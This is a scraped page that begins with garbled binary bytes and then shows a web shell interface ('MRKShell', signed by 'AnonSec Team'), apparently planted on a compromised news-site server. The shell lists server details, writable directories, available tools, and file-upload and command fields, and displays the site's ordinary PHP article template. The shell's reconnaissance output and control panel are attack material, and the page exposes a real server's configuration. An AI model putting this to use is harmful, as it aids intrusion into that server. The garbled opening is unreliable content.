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BGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/views/2016/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/views/2016/nota-scroll.php
<? //echo "<pre>".print_r($nota,true)."</pre>";                                                                 ?>
<?
$href_redes_f = urlencode($href_canonical);
$href_redes_t = urlencode($href_canonical);
$tit_nota = str_replace('"', "&quot;", $nota['titulo']);
$tit_nota = str_replace("'", "&#39;", $tit_nota);
$url_seccion = $this->varios_library->generar_url(8, $seccion['id'], $seccion['nombre'], $seccion['url']);
$fecha = $this->varios_library->fechaAbreviada($nota['fecha']);
$is_movil = $this->varios_library->isMovil();
$vistass = $nota['vista'];
//Si se quiere heredar la vista de la primera nota se debe descomentar la siguiente linea y comentar la anterior
//$vistass = $vistaNota;
?>
<div id="fb-root"></div>
<script>(function (d, s, id) {
        var js, fjs = d.getElementsByTagName(s)[0];
        if (d.getElementById(id))
            return;
        js = d.createElement(s);
        js.id = id;
        js.src = "//connect.facebook.net/es_LA/sdk.js#xfbml=1&version=v2.8&appId=367744800238181";
        fjs.parentNode.insertBefore(js, fjs);
    }(document, 'script', 'facebook-jssdk'));
</script>
<div class="row" id="row-post">
    <? if ($vistass == 2) { ?>
        <div class="col-sm-12">
        <? } else { ?>
            <div class="col-sm-9 bloque-interna">
            <? } ?>
            <div id="site-content" class="site-content">
                <div class="left-content" id="left-content">
                    <?
                    if (isset($banners['nota_top' . $banner_movil]['tag'])) {
                        if ($nota['mayor'] == 0 || ($nota['mayor'] == 1 && $banners['nota_top' . $banner_movil]['tipo'] <> 4)) {
                            echo "<div class='sponsor'>" . $banners['nota_top' . $banner_movil]['tag'] . "</div>";
                        }
                    }
                    ?>
                    <div class="details-news" id="details-news-<?= $nota['id'] ?>">
                        <div id="waypoint-<?= $nota['id'] ?>" style="height: 75px; margin-top: -75px;"></div>
                        <div class="post">
                            <div class="post-content titinterna">
                                <? if ($nota['patrocinado']) : ?>
                                    <div class="patrocinado-nota">contenido patrocinado</div>
                                <? endif; ?>
                                <h1 class="entry-title interna">
                                    <?= $nota['titulo'] ?>
                                </h1>
                                <div class="catagory cat-<?= $nota['seccion'][0]['color'] ?> interna"><?= $nota['antetitulo'] ?></div>
                                <div class="entry-content">
                                    <p class="bajada"><?= $nota['sumario'] ?></p>
                                </div>
                                <div class="entry-meta">
                                    <ul class="list-inline dataint">
                                        <? if ($seccion['id'] != '92') : ?>
                                            <?
                                            if (is_array($nota['periodista'])):
                                                $urlPeriodista = $this->varios_library->generar_url(34, $nota['periodista'][0]['id'], $nota['periodista'][0]['nombre'] . " " . $nota['periodista'][0]['apellido']);
                                                ?>
                                                <li class="posted-by"><a href="<?= $urlPeriodista ?>"><a href="<?= $urlPeriodista ?>">
                                                            <?
                                                            $foto_perfil = site_url('fotos/avatar_lector/' . $nota['periodista'][0]['id'] . '.jpg');
                                                            $file_headers = @get_headers($foto_perfil);
                                                            if ($file_headers[0] != 'HTTP/1.1 200 OK') {
                                                                ?>
                                                                <img src="<?= site_url('2016/images/default.jpg') ?>" alt="<?= $nota['periodista'][0]['nombre'] ?>" class="foto-firmada"/>
                                                            <? } else { ?>
                                                                <img src="<?= site_url('fotos/avatar_lector/' . $nota['periodista'][0]['id'] . '.jpg') ?>" alt="<?= $nota['periodista'][0]['nombre'] ?>" class="foto-firmada"/>
                                                            <? } ?><?= $nota['periodista'][0]['nombre'] ?></a></li>
                                            <? endif; ?>
                                        <? endif; ?>

                                        <li class="publish-date"><i class="fa fa-clock-o"></i> <?= $fecha ?> - <?= $nota['hora'] ?> </li>
                                        <? /* <li class="views"><i class="fa fa-eye"></i> 15k</li>
                                          <li class="loves"><a href="#"><i class="fa fa-heart-o"></i> 278</a></li>
                                          <li class="comments"><a href="#"><i class="fa fa-comment-o"></i> 189</a></li> */ ?>
                                    </ul>
                                </div>
                            </div>
                            <? if ($nota['vista'] == 3): //video destacado  ?>
                                <div class="entry-header">
                                    <div class="entry-thumbnail ftoint">
                                        <div class="entry-thumbnail embed-responsive embed-responsive-16by9">
                                            <iframe class="embed-responsive-item" src="https://www.youtube.com/embed/<?= $nota['videos'][0]['codigo'] ?>" allowfullscreen=""></iframe>
                                        </div>
                                    </div>
                                </div>
                            <? else: ?>
                                <div class="entry-header">
                                    <?
                                    $cant = count($nota['fotos']);
                                    if ($cant == 1):
                                        ?>

                                        <? foreach ($nota['fotos'] as $key => $foto): ?>
                                            <div class="entry-thumbnail ftoint">
                                                <?
                                                $url_img = site_url("fotos/" . $foto['ruta'] . $foto['imagen']);
                                                $img = $this->varios_library->dameImagen($foto['ruta'], $foto['imagen'], 'cache/' . $foto['ruta'], 818, 460, " img-responsive ");
                                                ?>
                                                <?= $img ?>
                                                <p class="fotoepigrafe"><?= $foto['descripcion'] ?><hr class="hrepigrafe"></p>
                                            </div>
                                        <? endforeach; ?>
                                    <? else: ?>
                                        <div class="entry-thumbnail ftoint">
                                            <div id="slider_interno" class="carousel slide" data-ride="carousel">
                                                <div class="carousel-inner" role="listbox">
                                                    <?
                                                    $i = 0;
                                                    foreach ($nota['fotos'] as $key => $foto):
                                                        ?>
                                                        <div class="item<? if ($i == 0): ?> active<? endif ?>">
                                                            <?
                                                            $url_img = site_url("fotos/" . $foto['ruta'] . $foto['imagen']);
                                                            $img = $this->varios_library->dameImagen($foto['ruta'], $foto['imagen'], 'cache/' . $foto['ruta'], 818, 460, " img-responsive ");
                                                            ?>
                                                            <?= $img ?>
                                                            <p class="fotoepigrafe"><?= $foto['descripcion'] ?><hr class="hrepigrafe"></p>
                                                        </div>
                                                        <?
                                                        $i++;
                                                    endforeach;
                                                    ?>
                                                    <!-- Wrapper for slides -->
                                                </div>

                                                <!-- Left and right controls -->
                                                <a class="left carousel-control" href="#slider_interno" role="button" data-slide="prev">
                                                    <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
                                                    <span class="sr-only">Anterior</span>
                                                </a>
                                                <a class="right carousel-control" href="#slider_interno" role="button" data-slide="next">
                                                    <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
                                                    <span class="sr-only">Siguiente</span>
                                                </a>
                                            </div>
                                        </div>
                                    <? endif ?>
                                </div>
                            <? endif; ?>
                            <?
                            if (isset($banners['nota_piefoto' . $banner_movil]['tag'])) {
                                if ($nota['mayor'] == 0 || ($nota['mayor'] == 1 && $banners['nota_piefoto' . $banner_movil]['tipo'] <> 4)) {
                                    echo "<div class='sponsor'>" . $banners['nota_piefoto' . $banner_movil]['tag'] . "</div>";
                                }
                            }
                            ?>
                            <div class="post-content contgral"> 
                                <?
                                // Evento 
                                if (is_array($nota['evento'])) {
                                    $tit_evento = str_replace('"', "&quot;", $nota['evento'][0]['titulo']);
                                    $tit_evento = str_replace("'", "&#39;", $tit_evento);
                                    if (!$is_movil) {
                                        ?>
                                        <div class="row">
                                            <div class="col-lg-12">
                                                <div class="post" style="border-bottom: 0px solid; margin-top: 0px; margin-bottom: 10px;">
                                                    <div class="post-content titinterna eventos">
                                                        <?
                                                        if ($nota['evento'][0]['acceso_cultural'] != 0) {
                                                            echo '<div class="row caja-sup acceso-home">';
                                                        } else {
                                                            ?>
                                                            <div class="row caja-sup">
                                                            <? } ?>
                                                            <div class="col-lg-3 fecha-caja">
                                                                <span class="fecha-mes"><?= $meses[date('n', strtotime($nota['evento'][0]['fechai'])) - 1] ?></span><br><span class="fecha-numero"><?= date('d', strtotime($nota['evento'][0]['fechai'])) ?></span><br> <span class="fecha-dia"><?= $dias[date('w', strtotime($nota['evento'][0]['fechai']))] ?></span>
                                                            </div>
                                                            <div class="col-lg-9">
                                                                <a style="text-decoration: none;"><h1 class="entry-title interna eventos"><?= $tit_evento ?></h1></a>
                                                                <div class="caja-hora"><?= date('H:s', strtotime($nota['evento'][0]['horai'])) ?> hs.</div>
                                                                <?
                                                                foreach ($nota['lugares'] as $key => $lugar) {
                                                                    if ($nota['evento'][0]['lugar'] == $lugar['id']) {
                                                                        ?>
                                                                        <a><div class="caja-lugar"><?= $lugar['nombre'] ?></div></a>
                                                                        <?
                                                                    }
                                                                }
                                                                ?>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    <? } else { ?>
                                        <div class="row">
                                            <div class="col-lg-12">
                                                <div class="post" style="border-bottom: 0px solid; margin-top: 0px; margin-bottom: 10px;">
                                                    <div class="post-content titinterna eventos"><? if ($nota['evento'][0]['acceso_cultural'] != 0) { ?>
                                                            <div class="row">
                                                                <div class="col-lg-12 acceso-home">
                                                                    <?= $nota['evento'][0]['descripcion_acceso'] ?>
                                                                </div>
                                                            </div>
                                                        <? } ?>
                                                        <div class="row caja-sup">
                                                            <div class="col-lg-4 fecha-caja fc-home">
                                                                <span class="fecha-mes"><?= $meses[date('n', strtotime($nota['evento'][0]['fechai'])) - 1] ?></span><br><span class="fecha-numero"><?= date('d', strtotime($nota['evento'][0]['fechai'])) ?></span><br> <span class="fecha-dia"><?= $dias[date('w', strtotime($nota['evento'][0]['fechai']))] ?></span>
                                                            </div>
                                                            <div class="col-lg-8">
                                                                <a style="text-decoration: none;"><h1 class="entry-title home eventos"><?= $tit_evento ?></h1></a>

                                                            </div>

                                                        </div>
                                                        <div class="row home-caja-hora-lugar">
                                                            <div class="col-lg-12">
                                                                <div class="caja-hora"><?= date('H:s', strtotime($nota['evento'][0]['horai'])) ?>  hs.</div>
                                                                <?
                                                                foreach ($nota['lugares'] as $key => $lugar) {
                                                                    if ($nota['evento'][0]['lugar'] == $lugar['id']) {
                                                                        ?>
                                                                        <a><div class="caja-lugar"><?= $lugar['nombre'] ?></div></a>
                                                                        <?
                                                                    }
                                                                }
                                                                ?>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <?
                                    }
                                }
                                ?>
                                <? if ($seccion['id'] == '92') : ?>
                                    <div class="redes-opinion-responsive">
                                        <div class="caja-foto-opinion-interna"><img src="<?= site_url('fotos/avatar_lector/' . $nota['periodista'][0]['id'] . '.jpg') ?>" alt="<?= $nota['periodista'][0]['nombre'] ?>" class="foto-opinion-interna"></div>
                                        <div class="nombre-opinion-interna"><?= $nota['periodista'][0]['nombre'] ?></div>
                                        <hr>
                                    </div>
                                    <div class="redes-op">
                                        <div class="caja-foto-opinion-interna"><img src="<?= site_url('fotos/avatar_lector/' . $nota['periodista'][0]['id'] . '.jpg') ?>" alt="<?= $nota['periodista'][0]['nombre'] ?>" class="foto-opinion"></div>
                                        <div class="nombre-opinion-interna"><?= $nota['periodista'][0]['nombre'] ?></div>
                                        <a href="javascript:fbShare('<?= $href_redes_f ?>', '<?= $tit_nota ?>', '', '', 520, 350)" class="redes-interna-fb redes-<?= $nota['seccion'][0]['color'] ?>"><i class="fa-brands fa-facebook-f"></i></a><br>
                                        <a  href="javascript:twShare('<?= $tit_nota ?> <?= $href_redes_f ?>', '', '', '', 520, 350)" class="redes-interna-tw redes-<?= $nota['seccion'][0]['color'] ?>"><i class="fa-brands fa-x-twitter"></i></a><br>
                                    </div>
                                <? else : ?>
                                    <div class="redes-interna">
                                        <a href="javascript:fbShare('<?= $href_redes_f ?>', '<?= $tit_nota ?>', '', '', 520, 350)" class="redes-interna-fb redes-<?= $nota['seccion'][0]['color'] ?>"><i class="fa-brands fa-facebook-f"></i></a><br>
                                        <a  href="javascript:twShare('<?= $tit_nota ?> <?= $href_redes_f ?>', '', '', '', 520, 350)" class="redes-interna-tw redes-<?= $nota['seccion'][0]['color'] ?>"><i class="fa-brands fa-x-twitter"></i></a><br>
                                    </div>
                                <? endif; ?>
                                <div class="redes-flotante" id="redes-flotante-<?= $nota['id'] ?>" style="display: none;">
                                    <a href="javascript:fbShare('<?= $href_redes_f ?>', '<?= $tit_nota ?>', '', '', 520, 350)" class="redes-interna-fb redes-<?= $nota['seccion'][0]['color'] ?>"><i class="fa-brands fa-facebook-f"></i></a>
                                    <a  href="javascript:twShare('<?= $tit_nota ?> <?= $href_redes_f ?>', '', '', '', 520, 350)" class="redes-interna-tw redes-<?= $nota['seccion'][0]['color'] ?>"><i class="fa-brands fa-x-twitter"></i></a>
                                    <a  href="whatsapp://send?text=eltucumano.com: <?= $tit_nota ?> - <?= $href_redes_f ?>" data-action="share/whatsapp/share" class="redes-interna-wp redes-<?= $nota['seccion'][0]['color'] ?>"><i class="fa-brands fa-whatsapp"></i></a>
                                    <a  href="#0" class="redes-interna-wp cd-top-2-redes" id="cd-top-2-redes-<?= $nota['id'] ?>"></a>
                                </div>
                                <div class="entry-content <? if ($seccion['id'] == '92') : ?>contopinion<? else : ?>continterna<? endif; ?>">
                                    <?
                                    $new_content = html_entity_decode($nota['texto']);
                                    if (isset($banners['nota_texto' . $banner_movil]['tag'])) {
                                        if ($nota['mayor'] == 0 || ($nota['mayor'] == 1 && $banners['nota_texto' . $banner_movil]['tipo'] <> 4)) {

                                            //add banner in middle
                                            $cnt_parrafos = count(explode("</div>", html_entity_decode($nota['texto'])));
                                            $cnt_parrafos2 = count(explode("</p>", html_entity_decode($nota['texto'])));
                                            $cnt_parrafos3 = count(explode("<br><br>", html_entity_decode($nota['texto'])));
                                            if ($cnt_parrafos2 > $cnt_parrafos && $cnt_parrafos2 > $cnt_parragos3) {
                                                $cnt_parrafosp = count(explode("</p>", html_entity_decode($nota['texto'])));
                                                $parrafo_banner = round($cnt_parrafosp / 2);

                                                if ($parrafo_banner >= 1) {
                                                    $parrafo_banner = $parrafo_banner - 1;
                                                }

                                                $contenido = html_entity_decode($nota['texto']);
                                                $content = explode("</p>", $contenido);

                                                $new_content = '';
                                                for ($i = 0; $i < count($content); $i++) {
                                                    if ($i == $parrafo_banner) {
                                                        $new_content .= '<div class="sponsor">';
                                                        $new_content .= $banners['nota_texto' . $banner_movil]['tag'];
                                                        $new_content .= '</div>';
                                                    }

                                                    if ($i == count($content)) {
                                                        $new_content .= $content[$i];
                                                    } else {
                                                        $new_content .= $content[$i] . "</p>";
                                                    }
                                                }
                                            } elseif ($cnt_parrafos3 > $cnt_parrafos && $cnt_parrafos3 > $cnt_parrafos2) {
                                                $cnt_parrafosp = count(explode("<br><br>", html_entity_decode($nota['texto'])));
                                                $parrafo_banner = round($cnt_parrafosp / 2);

                                                if ($parrafo_banner >= 1) {
                                                    $parrafo_banner = $parrafo_banner - 1;
                                                }

                                                $contenido = html_entity_decode($nota['texto']);
                                                $content = explode("<br><br>", $contenido);

                                                $new_content = '';
                                                for ($i = 0; $i < count($content); $i++) {
                                                    if ($i == $parrafo_banner) {
                                                        $new_content .= '<div class="sponsor">';
                                                        $new_content .= $banners['nota_texto' . $banner_movil]['tag'];
                                                        $new_content .= '</div>';
                                                    }

                                                    if ($i == count($content)) {
                                                        $new_content .= $content[$i];
                                                    } else {
                                                        $new_content .= $content[$i] . "<br><br>";
                                                    }
                                                }
                                            } elseif ($cnt_parrafos > $cnt_parrafos2 && $cnt_parrafos > $cnt_parrafos3) {
                                                $cnt_parrafosp = count(explode("</div>", html_entity_decode($nota['texto'])));

                                                $parrafo_banner = round($cnt_parrafosp / 2);

                                                if ($parrafo_banner >= 1) {
                                                    $parrafo_banner = $parrafo_banner - 1;
                                                }

                                                $contenido = html_entity_decode($nota['texto']);
                                                $content = explode("</div>", $contenido);
                                                $new_content = '';
                                                for ($i = 0; $i < count($content); $i++) {
                                                    if ($i == $parrafo_banner) {
                                                        $new_content .= '<div class="sponsor">';
                                                        $new_content .= $banners['nota_texto' . $banner_movil]['tag'];
                                                        $new_content .= '</div>';
                                                    }

                                                    if ($i == count($content)) {
                                                        $new_content .= $content[$i];
                                                    } elseif ($i == (count($content) - 1)) {
                                                        $new_content .= $content[$i];
                                                    } else {
                                                        $new_content .= $content[$i] . "</div>";
                                                    }
                                                }
                                            } else {
                                                $new_content = html_entity_decode($nota['texto']);
                                            }
                                        }
                                    }
                                    $new_content = str_replace("style='box-sizing: border-box; color: rgb(0, 0, 0); font-family: \"open sans\", \"Helvetica Neue\", Helvetica, Arial, sans-serif; font-size: 13px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;'", "", $new_content);
                                    $new_content = str_replace("style='color: rgb(0, 0, 0); font-family: \"open sans\", \"Helvetica Neue\", Helvetica, Arial, sans-serif; font-size: 13px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;'", "", $new_content);
                                    ?>
                                    <p><?= $new_content; ?></p>
                                    <?
                                    if ($nota['vista'] == 1 | $nota['vista'] == 2 && is_array($nota['videos'])):
                                        ?>
                                        <div class="entry-thumbnail embed-responsive embed-responsive-16by9">
                                            <iframe class="embed-responsive-item" src="https://www.youtube.com/embed/<?= $nota['videos'][0]['codigo'] ?>" allowfullscreen=""></iframe>
                                        </div>
                                    <? endif; ?>                         
                                </div><!--/post--> 
                            </div><!--/.section-->
                            <?
                            if (isset($banners['nota_pie' . $banner_movil]['tag'])) {
                                if ($nota['mayor'] == 0 || ($nota['mayor'] == 1 && $banners['nota_pie' . $banner_movil]['tipo'] <> 4)) {
                                    echo "<div class='sponsor'>" . $banners['nota_pie' . $banner_movil]['tag'] . "</div>";
                                }
                            }
                            ?>
                        </div><!--/.left-content-->
                        <div id="waypoint2-<?= $nota['id'] ?>" style="margin-top: -60px; height: 60px;"></div>                                                          
                    </div>
                </div>
            </div><!--/#site-content-->
            <? if ($is_movil): ?>
            </div>
            <div class="col-sm-9 comentarios-bloque">
                <div class="row">
                    <div class="col-sm-12">
                    <? endif; ?>

                    <? /* <div class="post google-add">
                      <div class="add inner-add text-center">
                      <a href="#"><img class="img-responsive" src="assets/images/512x80.gif" alt="" /></a>
                      </div><!--/.section-->
                      </div><!--/.google-add--> */ ?>

                    <?
                    $rand = rand(100, 999);
                    ?>

                    <div class="comments-wrapper">
                        <div class="comments-box">
                            <a aria-expanded="true" id="TLink-<?= $rand ?>" onclick="toggle('navbar-<?= $rand ?>', 'TLink-<?= $rand ?>')">
                                <button class="comentario accordion <?= $attrib['color'] ?> seccion-publicar">Comentarios <i class="fa fa-comments-o"></i></button>
                            </a>
                            <div class="panela <?= $attrib['color'] ?>" style="display: none;" id="navbar-<?= $rand ?>">
                                <div class="fb-comments" data-href="<?= $href_canonical ?>" width="100%" data-numposts="20" data-colorscheme="light" data-version="v2.3"></div>
                            </div>
                        </div>
                    </div>

                    <? if ($is_movil): ?>
                    </div>
                </div>
            <? endif; ?>
        </div><!--/.col-sm-9 -->    
        <?
        if ($vistass != 2) {
            $this->load->view($vista . "derecha");
        }
        ?>
    </div>
    <script type="text/javascript">
        jQuery(document).ready(function ($) {
            // browser window scroll (in pixels) after which the "back to top" link is shown
            var offset = 300,
                    //browser window scroll (in pixels) after which the "back to top" link opacity is reduced
                    offset_opacity = 1200,
                    //duration of the top scrolling animation (in ms)
                    scroll_top_duration = 700,
                    //grab the "back to top" link
                    $back_to_top = $('#cd-top-2-redes-<?= $nota['id'] ?>');

            //hide or show the "back to top" link
            $(window).scroll(function () {
                ($(this).scrollTop() > offset) ? $back_to_top.addClass('cd-is-visible') : $back_to_top.removeClass('cd-is-visible cd-fade-out');
                if ($(this).scrollTop() > offset_opacity) {
                    $back_to_top.addClass('cd-fade-out');
                }
            });

            //smooth scroll to top
            $back_to_top.on('click', function (event) {
                event.preventDefault();
                $('body,html').animate({
                    scrollTop: 0,
                }, scroll_top_duration
                        );
            });

        });
    </script>

Anon7 - 2022
AnonSec Team